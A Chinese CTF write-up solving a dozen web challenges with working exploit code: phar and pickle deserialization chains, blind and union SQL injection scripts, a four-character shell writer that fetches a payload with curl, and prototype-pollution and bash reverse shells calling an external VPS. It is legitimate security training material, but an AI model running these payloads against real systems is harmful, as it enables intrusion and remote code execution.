web题目很好,就是多的看都看不过来,别说做了 ,全程靠着师傅带,继续划水,记录下做题和复现
webct 扫描可以得到www.zip源码,题目打开的界面是这样
有两个功能,一个连接远程mysql数据库,一个图片上传,接下来审计源码
1 2 3 4 5 6 7 8 9 10 <?php error_reporting(0 ); include "config.php" ;$ip = $_POST['ip' ]; $user = $_POST['user' ]; $password = $_POST['password' ]; $option = $_POST['option' ]; $m = new db($ip,$user,$password,$option); $m->testquery();
会把我们POST输入的ip、user、password、option传给db类去实例化$m。看下db类的代码
然后看文件上传的源码
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting(0 ); include "config.php" ;$file = new File($_FILES["file" ]); $fileupload = new Fileupload($file); $fileupload->deal(); echo "存储的图片:" ."<br>" ;$ls = new Listfile('./uploads/' .md5($_SERVER['REMOTE_ADDR' ])); echo $ls->listdir()."<br>" ;?>
会把我们上传的文件传给File类去实例化,然后将$file变量传给Fileupload类去实例化,调用$fileupload的deal方法,然后又实例化Listfile,调用$ls的listdir方法,看下源码
功能很简单
白名单机制,应该是不能传马。
神奇的__call()魔法函数,竟然可以执行命令,那就是反序列化实锤了,全局搜索都找不到serialise()函数,怎么触发反序列化呢,之前还有一个连接mysql的功能,想起之前的那篇CSS-T | Mysql Client 任意文件读取攻击链拓展的文章 。
刚好和之前的图片上传结合,在vps上搭一个Rogue-mysql-server,(怎么用就不介绍了,上文写的很清楚)去读上传的phar文件,触发反序列化,欧克。
我们可以通过之前post传的option变量来启用LOAD LOCAL INFILE
然后开始输入MYSQLI_OPT_LOCAL_INFILE
但是没有回显,但是服务器端没有读到文件,然后在本地进行测试,我们直接把option变成MYSQLI_OPT_LOCAL_INFILE
发现在服务器端是可以读到文件的,
这样设置了之后是可以读到文件的,
但是如果我们这样
是不能读到文件的
后来去查php的手册看到
option是int型的,然后就去查了php的常量表,MYSQLI_OPT_LOCAL_INFILE是8。
然后把option改成8试试
可以读到文件
然后去生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php class Fileupload { public $file; function __construct ($file) { $this ->file = $file; } function __destruct () { $this ->file->xs(); } } class Listfile { public $file; function __construct () { $this ->file="/ ;/readflag" ; } function __call ($name, $arguments) { echo "ls " .$this ->file; system("ls " .$this ->file); } } @unlink("dedecms.phar" ); $phar = new Phar("dedecms.phar" ); $phar->startBuffering(); $phar->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $a=new Listfile(); $b=new Fileupload($a); echo serialize($b);$phar->setMetadata($b); $phar->addFromString("test.txt" , "test" ); $phar->stopBuffering(); ?>
然后将生成的phar文件改名,传上去,可以看到文件名 ,结合源码里的路径
我们修改vps上Rogue-mysql-server读文件的名称,
之后连接远程mysql服务器,触发反序列化
然后flag就来了。
webtmp 考点 :python 反序列化
这题是原题,然而我开始并没有找到。。2019-SJTU-PICKLE-Revenge,比赛直接py脚本,跑的,比完赛得好好分析
题目直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import base64import ioimport sysimport picklefrom flask import Flask, Response, render_template, requestimport secretapp = Flask(__name__) class Animal : def __init__ (self, name, category) : self.name = name self.category = category def __repr__ (self) : return f'Animal(name={self.name!r} , category={self.category!r} )' def __eq__ (self, other) : return type(other) is Animal and self.name == other.name and self.category == other.category class RestrictedUnpickler (pickle.Unpickler) : def find_class (self, module, name) : if module == '__main__' : return getattr(sys.modules['__main__' ], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s) : return RestrictedUnpickler(io.BytesIO(s)).load() def read (filename, encoding='utf-8' ) : with open(filename, 'r' , encoding=encoding) as fin: return fin.read() @app.route('/', methods=['GET', 'POST']) def index () : if request.args.get('source' ): return Response(read(__file__), mimetype='text/plain' ) if request.method == 'POST' : try : pickle_data = request.form.get('data' ) if b'R' in base64.b64decode(pickle_data): return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.' else : result = restricted_loads(base64.b64decode(pickle_data)) if type(result) is not Animal: return 'Are you sure that is an animal???' correct = (result == Animal(secret.name, secret.category)) return render_template('unpickle_result.html' , result=result, pickle_data=pickle_data, giveflag=correct) except Exception as e: print(repr(e)) return "Something wrong" sample_obj = Animal('一给我哩giaogiao' , 'Giao' ) pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode() return render_template('unpickle_page.html' , sample_obj=sample_obj, pickle_data=pickle_data) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
源码的流程大体是这样,只有一个路由,会把我们输入的data,先base64解码,然后禁止我们输入R,我们在平常通过pickle反序列化的时候,如果执行命令的话,一般都会用到__reduce__
,他在序列化的时候就会生成R.
所以这里不能用这个方法了,继续看源码,将base64解码后的数据反序列化,这里重写了find_class()函数
限制了我们使用的module只能是__main__
,继续看源码,
将反序列化的结果和secret比对,如果相同就可以得到flag。这里参考了大师傅的文章 ,
我们把上面的blue换成secret,就是解法了,然后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import pickleimport pickletools import base64class Animal : def __init__ (self, name, category) : self.name = name self.category = category def __repr__ (self) : return f'Animal(name={self.name!r} , category={self.category!r} )' def __eq__ (self, other) : return type(other) is Animal and self.name == other.name and self.category == other.category x= Animal("mount4in" ,"www" ) s= pickle.dumps(x) print(s) a=b'\x80\x03c__main__\nsecret\n}(Vname\nVmount4in\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameq\x03X\x08\x00\x00\x00mount4inq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00wwwq\x06ub.' print(a) pickletools.dis(a) print(base64.b64encode(a))
可以看到已经成功篡改。
1 gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVm1vdW50NGluClZjYXRlZ29yeQpWd3d3CnViMGNfX21haW5fXwpBbmltYWwKKYF9KFgEAAAAbmFtZXEDWAgAAABtb3VudDRpbnEEWAgAAABjYXRlZ29yeXEFWAMAAAB3d3dxBnViLg==
然后输入就得到flag
nweb 打开之后一个登录界面,可以注册,一定要养成习惯性右键查看源代码的习惯。
可以看到隐藏了type,burp发包
注册成功,登录进去看看有个search.php,可以输入,试试注入
明显得注入,然后写脚本跑,竟然跑不出来报错,后来又测出来过滤了select from,只是简单得替换为空,双写就可以绕过。
贴上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsflag= '' url = 'http://121.37.179.47:1001/search.php' Cookie = {'PHPSESSID' :'huiulsnkb5bpm59h6v38o1qlv1;' , 'username' :'41fcba09f2bdcdf315ba4119dc7978dd' } proxies = { "http" : "http://127.0.0.1:8080" , } for i in range(1 ,50 ): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload=r"1' or 1=(ascii(mid((selselectect group_concat(column_NAME) frfromom information_schema.columnS where table_name='admin'),{},1))>{})#" payload=r"1' or 1=(ascii(mid((selselectect pwd frfromom admin limit 1),{},1))>{})#" url_1=url+payload.format(i,mid) data={"flag" :payload.format(i,mid)} r=requests.post(url,data=data,cookies=Cookie,proxies=proxies) print(r.content) if b"is flag" in r.content: low=mid+1 else : high=mid mid=(low+high)//2 print(flag) flag+=chr(mid)
可以查出有半个flag。。。。。。。。。。。。。。。
然后看这半个flag可以猜到要用Rogue-mysql-server了,但是需要有一个连接mysql的地方,之后找那里可以连接mysql,dirsearch爆破目录
有一个admin.html,应该是后台了,需要管理员的账号,然后去数据库里面注,可以得到admin的密码e2ecea8b80a96fb07f43a2f83c8b0960
md5解密后是whoamiadmin
然后登进去
刚刚好,vps上运行rogue-mysql-server,读服务器文件
比较考验眼力
两个一拼上就欧克了。
sqlcheckin 考点 :sql
这是个原题 ,直接搜就出来了
1 2 3 4 5 6 7 8 9 10 11 12 <?php $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;' , 'xxx' , 'xxx' ); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'" ); $stmt->execute(); $result = $stmt->fetchAll(); if (count($result) > 0 ) { if ($result[0 ]['username' ] == 'admin' ) { include ('flag.php' ); exit ();
绕过登录就可以,尝试万能密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 mysql> select * from products where name='a'-0 -''; +----------+-----------------------------------+-------------+ | name | secret | description | +----------+-----------------------------------+-------------+ | facebook | ddddddddddddddddddddddddddddddddd | flag | | facebook | fdddddddddddddddddddddddddddddddd | azzz | +----------+-----------------------------------+-------------+ 2 rows in set, 3 warnings (0.00 sec) mysql> select * from products; +----------+-----------------------------------+-------------+ | name | secret | description | +----------+-----------------------------------+-------------+ | facebook | ddddddddddddddddddddddddddddddddd | flag | | facebook | fdddddddddddddddddddddddddddddddd | azzz | +----------+-----------------------------------+-------------+ 2 rows in set (0.00 sec)
通过上面这种形式绕过。
密码:‘-0-’
hackme 考点 : session反序列化 四位字符命令执行写shell
题目给了源码,
1 2 3 4 5 6 7 <?php error_reporting(0 ); session_save_path('session' ); include 'lib.php' ;ini_set('session.serialize_handler' , 'php' ); session_start();
看到这里设置了session.serialize_handler为php
1 2 3 php 键名 竖线 serialize后的内容 php_serilaize serilize后的内容 php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
形成原理是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时 “|”会被当成键值对的分隔符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting(0 ); session_save_path('session' ); include 'lib.php' ;ini_set('session.serialize_handler' , 'php' ); session_start(); class info { public $admin; public $sign; public function __construct () { $this ->admin = $_SESSION['admin' ]; $this ->sign = $_SESSION['sign' ]; } public function __destruct () { echo $this ->sign; if ($this ->admin === 1 ) { redirect('./core/index.php' ); } } } $a = new info(); $a->admin=1 ; echo serialize($a);
然后登录,设置sign为
|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";N;}
就可以看到
这里前半部分是改的bytectf的boringcode,把baidu.com改成了127.0.0.1.
参考
这里可以利用compress.zlib://data:@127.0.0.1/plain;绕过
然后后半部分是四位字符写shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 import requests as rfrom time import sleepimport randomimport base64target = 'http://121.36.222.22:88/' shell_ip = '144.34.200.151' ip = '0x' + '' .join([str(hex(int(i))[2 :].zfill(2 )) for i in shell_ip.split('.' )]) reset = target + 'core/clear.php' pos0 = random.choice('efgh' ) pos1 = random.choice('hkpq' ) pos2 = 'g' payload = [ '>dir' , '>f\\>' , '>%st-' % pos1, '>sl' , '*>v' , '>rev' , '*v>%s' % pos2, '>p' , '>ph\\' , '>1.\\' , '>\\>\\' , '>xx\\' , '>x.\\' , '>x\\' , '>xx\\' , '>xx\\' , '>xx\\' , '>\ \\' , '>rl\\' , '>cu\\' , 'sh\x3c' + pos2, 'sh\x3c' + 'f' , ] payload1="compress.zlib://data:@127.0.0.1/plain;base64,{0}" cookie={"PHPSESSID" :"38240b1ae7b72a9837ce059cd0640347" } s = r.get(reset) print s.textfor i in payload: assert len(i) <= 4 data={"url" :payload1.format(base64.b64encode(i))} s = r.post(target+"core/index.php" ,data=data,cookies=cookie) print '[%d]' % s.status_code, payload1.format(i) print s.text sleep(0.1 )
参考
这里开始尝试了半天,没有成功,1.php中写不进去东西,开始是用${IFS}绕过的空格,可能,目标服务器不支持吧,或者其他地方姿势不对吧,后来看队友的脚本直接用base64编码传就ok了,然后在vps上放好马,下载运行
dooog 题目给了源码,三个头的狗,一看源码确实是三个头,开了三个服务,可以执行whoami和ls命令,但是没有回显,然后审计源码,过滤命令执行的地方在kdc/app.py
这里显示判断int(time.time())-data[‘timetamp’]<60才进行对cmd的检查,如果这里可以使int(time.time())-data[‘timetamp’]>60的话,那么就可以绕过检查执行其他命令了。
我们在本地试下int(time.time())执行情况
然后回溯看data[‘timetamp’]变量,它来自post传来的authenticator,继续往前看
那么如果我们可以通过修改timestamp就可以得到flag了,然后修改app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from flask import Flask, request, render_template, redirect, url_for, session, flashfrom flask_bootstrap import Bootstrapfrom form import RegisterForm, CmdFormfrom toolkit import AESCipherimport os, requests, json, time, base64app = Flask(__name__) app.config["SECRET_KEY" ] = os.urandom(32 ) bootstrap = Bootstrap(app) @app.route('/') def index () : return render_template('index.html' , form='' ) @app.route('/cmd', methods=['GET', 'POST']) def cmd () : form = CmdForm() if request.method == 'GET' : return render_template('index.html' , form=form) elif request.method == 'POST' : if form.validate_on_submit(): username = form.username.data master_key = form.master_key.data cmd = form.cmd.data cryptor = AESCipher(master_key) authenticator = cryptor.encrypt(json.dumps({'username' :username, 'timestamp' : int(time.time())})) res = requests.post('http://121.37.164.32:5001/getTGT' , data={'username' : username, 'authenticator' : base64.b64encode(authenticator)}) if res.content == 'time error' : flash('time error' ) return redirect(url_for('index' )) if res.content.startswith('auth' ): flash('auth error' ) return redirect(url_for('index' )) session['session_key' ], session['TGT' ] = cryptor.decrypt(base64.b64decode(res.content.split('|' )[0 ])), res.content.split('|' )[1 ] flash('GET TGT DONE' ) cryptor = AESCipher(session['session_key' ]) authenticator = cryptor.encrypt(json.dumps({'username' : username, 'timestamp' : 666 })) res = requests.post('http://121.37.164.32:5001/getTicket' , data={'username' : username, 'cmd' : cmd, 'authenticator' : base64.b64encode(authenticator), 'TGT' : session['TGT' ]}) if res.content == 'time error' : flash('time error' ) return redirect(url_for('index' )) if res.content.startswith('auth' ): flash('auth error' ) return redirect(url_for('index' )) if res.content == 'cmd error' : flash('cmd not allow' ) return redirect(url_for('index' )) flash('GET Ticket DONE' ) client_message, server_message = res.content.split('|' ) session_key = cryptor.decrypt(base64.b64decode(client_message)) cryptor = AESCipher(session_key) authenticator = base64.b64encode(cryptor.encrypt(username)) res = requests.post('http://121.37.164.32:5002/cmd' , data={'server_message' : server_message, 'authenticator' : authenticator}) return render_template('index.html' , form='' , flag=res.content) return render_template('index.html' , form=form) else : return 'error' , 500 @app.route('/register', methods=['GET','POST']) def register () : form = RegisterForm() if request.method == 'GET' : return render_template('index.html' , form=form) elif request.method == 'POST' : if form.validate_on_submit(): username = form.username.data master_key = form.master_key.data res = requests.post('http://121.37.164.32:5001/register' , data={'username' : username, 'master_key' : master_key}) if res.content == 'duplicate username' : return redirect(url_for('register' )) elif res.content != '' : session['id' ] = int(res.content) flash('register success' ) return redirect(url_for('index' )) return render_template('index.html' , form=form) else : return 'error' , 500 if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=False , port = 5000 )
fmkq 直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting(0 ); if (isset ($_GET['head' ])&&isset ($_GET['url' ])){ $begin = "The number you want: " ; extract($_GET); if ($head == '' ){ die ('Where is your head?' ); } if (preg_match('/[A-Za-z0-9]/i' ,$head)){ die ('Head can\'t be like this!' ); } if (preg_match('/log/i' ,$url)){ die ('No No No' ); } if (preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i' ,$url)){ die ('Don\'t use strangerotocol!' ); } $funcname = $head.'curl_init' ; $ch = $funcname(); if ($ch){ curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch); curl_close($ch); } else { $output = 'rua' ; } echo sprintf($begin.'%d' ,$output); } else { show_source(__FILE__ ); }
这里会把$head和curl_init拼接到$filename,如果有非法字符,服务器会500,然后fuzz出\可以绕过
)然后结合extract()和sprintf()可以将我们curl到的output数据显示出来,形如
然后探测内网开的端口,
发现8080端口开了服务,这题复现时环境关了,考点是python的格式化字符串漏洞贴一下payload吧,
1 http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__init__.__globals__[vip].__init__.__globals__}%26vipcode=0
1 http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[__name__][9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=kWSRgrZO9VjAJzaHsIwqXEtfF5u6GxM0ov74le18hcNnUpd3
PHP-UAF 1 2 3 4 5 6 7 8 9 10 11 <?php $sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR' ]); @mkdir($sandbox); @chdir($sandbox); if (isset ($_REQUEST['cmd' ])) { @eval ($_REQUEST['cmd' ]); } highlight_file(__FILE__ );
直接cmd=1;eval($_POST[‘cmd’]);
蚁剑连上,直接读flag。这题很迷,有时可以有时不可以
easy_trick_gzmtu 这题真的是神了。。。。。。。。。。。。。。。。
这题提示了time=2020,然后开始测注入,
注入之后很奇怪感觉有些字母被替换成了数字,
通过以上可以得到,不是替换为空,然后burp开始fuzz
1 2 大写 BGHILNOUWYZ 小写 dghijmnostuwyz
这些字符会被替换为数字,开始以为只要不用这里的字符就不会被替换,然后用了
1 ?time=202'%20||%20lefT('22',1)='2'%23
还是会500,那么就不光是之前的那些字符会被替换了,猜测所有的字符都被替换了,比赛时候就卡在这了,然后又试了半天协议走私,没做出来,后来看了wp后,原来如此。。。。。。。。。
赛后分析:应该没有waf会把每个字符都替换掉,然后这里注释里写道time=Y,那么后端可能会用处理时间日期的格式或函数来处理我们的输入,然后就应该去查查mysql和php的日期处理函数,然后看到php的date()函数,
和之前的一比对确实是把那些字符替换成了数字,然后继续看这个函数,
可以这样,那么就直接联合查询注入了,
1 /?time=202'%20\u\n\i\o\n%20\s\e\l\e\c\t%201,\g\r\o\u\p\_\c\o\n\c\a\t(\t\a\b\l\e\_\n\a\m\e),3\%20\f\r\o\m%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\t\a\b\l\e\s%20\w\h\e\r\e\%20\t\a\b\l\e\_\s\c\h\e\m\a\=\d\a\t\a\b\a\s\e()%23 HTTP/1.1
1 /?time=202'%20\u\n\i\o\n%20\s\e\l\e\c\t%201,\g\r\o\u\p\_\c\o\n\c\a\t(\c\o\l\u\m\n_\n\a\m\e),3\%20\f\r\o\m%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\c\o\l\u\m\n\s%20\w\h\e\r\e\%20\t\a\b\l\e\_\s\c\h\e\m\a\=\d\a\t\a\b\a\s\e()%23
列名:id,username,passwd,url,id,content,createtime
字段值 :username admin passwd 20200202goodluck url /eGlhb2xldW5n
然后跳到 http://121.37.181.246:6333/eGlhb2xldW5n/check.php
这里可以查询内部的文件,加上localhost就可以绕过,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class trick { public $gf; public function content_to_file ($content) { $passwd = $_GET['pass' ]; if (preg_match('/^[a-z]+\.passwd$/m' ,$passwd)) { if (strpos($passwd,"20200202" )){ echo file_get_contents("/" .$content); } } } public function aiisc_to_chr ($number) { if (strlen($number)>2 ){ $str = "" ; $number = str_split($number,2 ); foreach ($number as $num ) { $str = $str .chr($num); } return strtolower($str); } return chr($number); } public function calc () { $gf=$this ->gf; if (!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/' , $gf)){ eval ('$content=' .$gf.';' ); $content = $this ->aiisc_to_chr($content); return $content; } } public function __destruct () { $this ->content_to_file($this ->calc()); } } unserialize((base64_decode($_GET['code' ]))); ?>
这里有一个反序列化,触发__destruct()
函数,然后调用content_to_file()
函数,$gf里面不能有字母数字和其他一些符号,把gf赋给content后,调用aiisc_to_chr()函数,以两位为单位分割成一个数组,依次取数组中的内容放到chr()里面,之后进行拼接,然后变成小写,送到content_to_file
中,pass变量通过换行就可以绕过,$gf通过取反来绕过,后面有变小写的操作,那么传过去FLAG就可以了,把FLAG按chr()逆过来就是
70766571,那么我们就要让content等于这个,但又过滤了字母和数字,可以这样
然后
1 2 3 4 5 6 7 <?php class trick { public $gf = "~\C8\xCF\xC8\xC9\xC9\xCA\xC8\xCE" ; } $trick = new trick(); echo base64_encode(serialize($trick));
guess game 看到log函数里面有merge,那么可以原型链污染了
1 2 3 4 5 function log (userInfo ) { let logItem = {"time" :new Date ().toString()}; merge(logItem,userInfo); loginHistory.push(logItem); }
然后post/路由中调用了log
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 app.post('/' ,function (req, res ) { if (typeof req.body.user.username != "string" ){ res.end("error" ); }else { if (config.forbidAdmin && req.body.user.username.includes("admin" )){ res.end("any admin user has been baned" ); }else { if (req.body.user.username.toUpperCase() === adminName.toUpperCase()) log(req.body.user); res.end("ok" ); } } });
需要满足输入的username的大写要等于 “admin888”的大写,利用javascript的大小写特性,就可以绕过,然后试了试之前ejs模板的反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl="http://121.37.167.12" proxy={"http" :"http://127.0.0.1:8080" } r=requests.post(url,json={"user" :{"username" :"admIn888" ,"__proto__" :{"enableReg" :True ,"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 144.34.200.151 9999 >/tmp/f ');var __tmp2" }}},proxies=proxy) print r.textr=requests.get(url,proxies=proxy) print r.textimport requestsurl="http://121.37.167.12" proxy={"http" :"http://127.0.0.1:8080" } r=requests.post(url,json={"user" :{"username" :"admIn888" ,"__proto__" :{"enableReg" :True ,"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 144.34.200.151 9999 >/tmp/f ');var __tmp2" }}},proxies=proxy) print r.text
竟然可以
happy vacation 在本地测试一下,把他的注释去掉,提示说重点在选择那里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 class Asker { public $question; public $right; public $answer; public $times = 0 ; public $A = True ; public $B = True ; public $C = True ; public $D = True ; public $message = "大郎快醒醒,老师叫你回答问题啦!" ; function __construct () { $this ->question = "what is your problem?" ; $this ->right = "A" ; $this ->answer_list = ['A' , 'B' , 'C' , 'D' ]; } function answerList () { return $this ->answer_list; } function mes () { return $this ->message; } function updateList () { $this ->answer_list = []; $this ->A ? array_push($this ->answer_list, "A" ) : "" ; $this ->B ? array_push($this ->answer_list, "B" ) : "" ; $this ->C ? array_push($this ->answer_list, "C" ) : "" ; $this ->D ? array_push($this ->answer_list, "D" ) : "" ; $this ->message = "这都能答错,再给你一次机会!" ; } function answer ($user, $answer) { $this ->user = clone $user; if ($this ->right == $answer){ $this ->message = "clever man!" ; return 1 ; } else { if (preg_match("/[^a-zA-Z_\-}>@\]*]/i" , $answer)){ $this ->message = "no no no" ; } else { if (preg_match('/f|sy|and|or|j|sc|in/i' , $answer)){ $this ->message = "what are you doing bro?" ; } else { eval ("\$this->" .$answer." = false;" ); $this ->updateList(); } } $this ->times ++; return 0 ; } } function times () { return $this ->times; } }
有一个eval的操作,然后测试能把blacklist置为false,
然后就传个php文件到upload目录,路径从upload函数也可以知道,应该非预期了。
nothardweb 利用之前的mt_rant()函数间隔226个随机数的两个数可以得到seed,
接下来审计源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php session_start(); error_reporting(0 ); include "user.php" ; include "conn.php" ; $IV = "********" ; if (!isset ($_COOKIE['user' ]) || !isset ($_COOKIE['hash' ])){ if (!isset ($_SESSION['key' ])){ $_SESSION['key' ] = strval(mt_rand() & 0x5f5e0ff ); $_SESSION['iv' ] = $IV; } $username = "guest" ; $o = new User($username); echo $o->show(); $ser_user = serialize($o); $cipher = openssl_encrypt($ser_user, "des-cbc" , $_SESSION['key' ], 0 , $_SESSION['iv' ]); setcookie("user" , base64_encode($cipher), time()+3600 ); setcookie("hash" , md5($ser_user), time() + 3600 ); } else { $user = base64_decode($_COOKIE['user' ]); $uid = openssl_decrypt($user, 'des-cbc' , $_SESSION['key' ], 0 , $_SESSION['iv' ]); if (md5($uid) !== $_COOKIE['hash' ]){ die ("no hacker!" ); } $o = unserialize($uid); echo $o->show(); if ($o->username === "admin" ){ $_SESSION['name' ] = 'admin' ; include "hint.php" ; } } md5(openssl_encrypt(base64_decode($cookie['user' ]),'des-cbc' ,sessionkey,0 ,sessioniv))==cookie['hash' ]
可以看到我们第一次到这个页面,他会用第229个随机数和0x5f5e0ff异或,得到的值作为key,然后采用des-cbc的加密方式对序列化后的数据加密,然后我们可以通过之前的方式得到key,然后就是通过找到IV去伪造成admin,先介绍下des-cbc的加密方式,
我们现在已知明文、密文、key,然后去求IV,看加密的图可以知道,第一块中加密的值是IV和分组一的异或值,如果我们把iv和分组一互换的话,是不会影响后面的密文的,那么在这道题里,我们通过把解密的iv,替换为我们明文的分组一,那么解密出来的明文的第一个分组就是IV,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php mt_srand(3946604448 ); include "user.php" ;echo mt_rand() . "\n" ;for ($i = 2 ; $i <= 226 ; $i++) { mt_rand(); } echo mt_rand() . "\n" ;echo mt_rand() . "\n" ;echo strval(mt_rand() & 0x5f5e0ff );echo "\n" ;$uid = openssl_decrypt('F5jryEGaDwBLk1WH2Kg8Gdl7CC6JDMKfNcaeMc+x9RtWhaRWiy8Pu8EosOrgWG97' , 'des-cbc' , "77889691" , 0 , 'O:4:"Use' ); echo $uid;$IV="85196940" ; $username="admin" ; $o = new User($username); echo $o->show();$ser_user =serialize($o); $cipher = openssl_encrypt($ser_user, "des-cbc" , "77889691" , 0 , $IV); echo $cipher;echo "\n" ;echo base64_encode($cipher);
然后我们伪造成admin,复现到这的时候环境已经关了,看wp上面hind.php的内容是,
1 2 3 4 5 6 7 8 9 10 I left a shell in 10.10 .1 .12 /index.php try to get it!<?php if (isset ($_GET['cc' ])){ $cc = $_GET['cc' ]; eval (substr($cc, 0 , 6 )); } else { highlight_file(__FILE__ ); }
然后要打内网,这里可以通过soapclient反序列化ssrf,
1 ?cc=`$cc`;bash -i >& /dev/tcp/xxxxx/8888 0>&1
就可以反弹shell了,后面就没做了。